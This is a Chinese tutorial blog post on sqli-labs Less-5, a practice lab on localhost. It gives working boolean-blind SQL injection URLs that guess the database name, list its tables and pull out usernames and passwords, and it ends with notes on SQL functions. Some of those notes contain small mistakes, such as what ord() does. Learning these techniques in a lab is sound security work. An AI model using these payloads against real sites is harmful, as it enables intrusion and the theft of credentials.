由于第三四關和第一第二關大緻相同,我就不寫了。
接下來來寫第五關的第一種方式。
1,目标網站:
<a href="http://127.0.0.1/sqli-labs-master/Less-5/?id=1">http://127.0.0.1/sqli-labs-master/Less-5/?id=1</a>
當傳遞的ID為1的時候提示“you are in”
2,查找注入點:
當輸入上面的url的時候就報錯了。我們可以從箭頭處看到報錯的原因。
說明把“1’”帶入資料庫查詢了,是以存在注入點
3,檢視版本資訊:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(version(),1)=5 %23
傳回正常
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(version(),1)=4 %23
傳回錯誤 是以資料庫版本是5.0
4,判斷資料庫長度:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())= 7 %23
傳回錯誤
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())= 8 %23
傳回正确
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())= 9 %23
是以資料庫的名稱是8位構成
5,猜測資料庫名稱(從第一位開始猜):
1>猜第1位
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),1)>'a' %23
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),1)>'z' %23
說明第一位在a和z之間
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),1)>'s' %23
是以第一位是s
1>猜第2位
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),2)>'sa' %23
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),2)>'sz' %23
說明第二位在a和z之間
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),2)>'se' %23
是以第二位是e
以此類推,直到推出第8位:最後資料庫為security
6,猜測資料庫(security)中的表:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1)b,1))>n
說明:
a是從0開始第幾個表,b是為第幾個字元,n是ASCII所對應的十進制數
7,猜使用者:
其中S 為資料庫名;M為表名;A為第幾個使用者;B為第幾個字元;N為ASCII碼所對應的十進制數。
8.猜使用者和密碼:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ord(mid((select ifnull(cast(username as char),0x20)from S.Morder by id limit A,1),B,1))=N %23
例:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ord(mid((select ifnull(cast(password as char),0x20)from security.users order by id limit 0,1),1,1))=68 %23
附錄:
substr()用于字元串加減
ord()将ASCLL碼值轉換為字元 示例: ord('a')表示a在ASSCLL碼中的序号,為97; ord('b')表示b在ASSCLL碼中的序号,為98;
mid() :字元串截取函數
文法: mid(字元串,指定截取位數,截取N個)
示例
B6=123456789abcdef =mid(B6,1,13) 結果= 123456789abcd
IFNULL(expr1,expr2)
如果 expr1 不是 NULL,IFNULL() 傳回 expr1,否則它傳回 expr2。
cast()函數:
參考部落格:http://www.studyofnet.com/news/109.html
(1).CAST()函數的參數是一個表達式,它包括用AS關鍵字分隔的源值和目标資料類型。以下例子用于将文本字元串'12'轉換為整型:
SELECT CAST('12' AS int)
(2).傳回值是整型值12。如果試圖将一個代表小數的字元串轉換為整型值,又會出現什麼情況呢?
SELECT CAST('12.5' AS int)
(3).CAST()函數和CONVERT()函數都不能執行四舍五入或截斷操作。由于12.5不能用int資料類型來表示,是以對這個函數調用将産生一個錯誤:
微信公衆号
本文轉自 天道酬勤VIP 51CTO部落格,原文連結:http://blog.51cto.com/tdcqvip/2062354